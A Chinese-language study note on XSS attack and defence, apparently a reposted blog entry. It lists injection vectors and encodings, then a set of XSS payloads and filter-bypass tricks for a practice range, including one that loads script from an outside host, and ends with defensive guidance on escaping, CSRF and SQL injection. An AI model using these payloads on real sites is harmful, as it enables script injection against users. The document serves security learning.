xss攻防

参考资料:https://www.bilibili.com/video/BV1R4411u7Rk?t=442

dns解析被劫持

本地hosts文件被篡改,劫持到恶意网站;DNS解析服务器被篡改,解析到恶意网站。

引用第三方库的js等代码资源

第三方库的资源被攻击了,包含到自己网站中使用则也不安全

缓存问题,缓存投毒

访问网站时会加载很多资源到本地以便于再访问该网站时直接从本地读取资源来加载网页。如果被攻击者收集到你喜欢访问的网站以后,他们会先准备一个钓鱼网站引诱你访问,提前把你喜欢访问的比如百度,知乎,动漫网,电影网等篡改好的缓存资源提前加载到你的本地中。当你再访问喜欢的网站后,就会去直接读取本地的缓存资源。这些缓存资源都被攻击者动过手脚。

  • 不要访问恶意网站,不要连接陌生WIFI

文件问题

由于开发,学习或者其他需求,有人会在网上下载一些代码文件来使用,这些文件是否为官网提供的,官网是否被攻击;使用下载功能下载时,缓存里面的文件是否已被攻击、替换;引用了第三方负载均衡功能里面的资源,这些缓存文件是否早就被植入恶意代码。

浏览器的插件问题

在安装各种功能性的插件时,开发者有没有在插件里面植入恶意代码

web开发问题

开发代码时引入的漏洞,产生反射型和存储型xss

html编码

十进制:<    十六进制:<     别名:< >等
分号可有可无,实体字符的引号可有可无
不同进制可混用

js编码

八进制 141154145
十六进制 x61x6cx65
unicode u0061u006cu0065

url编码

* encodeURI / decodeURI
不转译 ASCII字母 数字 字符
* encodeURIComponent / decodeURIComponent
不转译 ASCII字母 数字 ~!*()'
* escape / unescape   不推荐
不转译 字母、数字、@+—*/
对字符串进行编码,不适合url

Base64编码

可以把图片转成base64编码放到css中一起去下载,可减少网络请求

xss的本质是代码与数据未分离

1.提前闭合标签
2.注释后续代码

  • 攻击者想办法把输入的数据变成了代码。

Payload


1.autofocus是光标聚焦时执行
2.onerror是加载图片错误时执行
3.页面装载时执行
4.js脚本
5.点击时执行

  • 练习环境https://xss.haozi.me
    主要是看输入的数据放到哪里去了
<div> <script>alert(1)</script> </div>
<textarea>   </textarea><script>alert(1)</script> </textarea>

"><script>alert(1)</script>

<script>alert`1`</script>

<svg><script>alert&#40;1&#41;</script></svg>    矢量图标签里面的html实体代码会被执行

--!><script>alert(1)</script>

src type="image" onerror
=alert(1)

<svg onload=alert(1) 

</style
><script
        >alert(1)</script>

http://www.segmentfault.com.xss.com/j.js

<script src="http://www.segmentfault.com.xss.com/j.js"></script>

<scrscriptipt src="http://www.segmentfault.com.xss.com/j.js"></scscriptript>


alert(1)
-->')

');alert('1

JSON.parse('{}')  后端数据放到字符串中,防止字符串逃逸

防御

慎用公共cdn资源
慎用第三方服务jsonp接口,这只是黑科技。不可控
不轻信用户输入和后端吐回的数据

明确知道出现的位置,正确转义
html正文和标签:用html实体字符转义
html onxxx事件属性:用js转义
url:用url转义
用户富文本输入:后端白名单标签过滤,使用开源库。千万不要用正则过滤
https://www.npmjs.com/package/sanitize-html

配置安全协议头
https://imququ.com/post/web-security-and-response-header.html

存储型xss

后端过滤不干净和前端展示时没有正确的编码
后端需要对新写入数据修正存储逻辑。前端做好正确的编码转义

CSRF 跨站请求伪造

增删改操作严禁使用GET请求
POST等其他协议同样能被CSRF
敏感操作一定要判断请求来源、在cookie之外的地方增加加密串,和请求一同带上,发送验证码给用户

SQL注入

对查询语句中的字符做正确转义,使用专业的库来做
最小化数据库账户使用权限
不开放没用的权限过大的功能
不轻信用户的输入,限制输入的字符数,对用户输入的数据做检查

书籍推荐
《白帽子讲web安全》

原文地址:https://www.cnblogs.com/sec875/p/12614450.html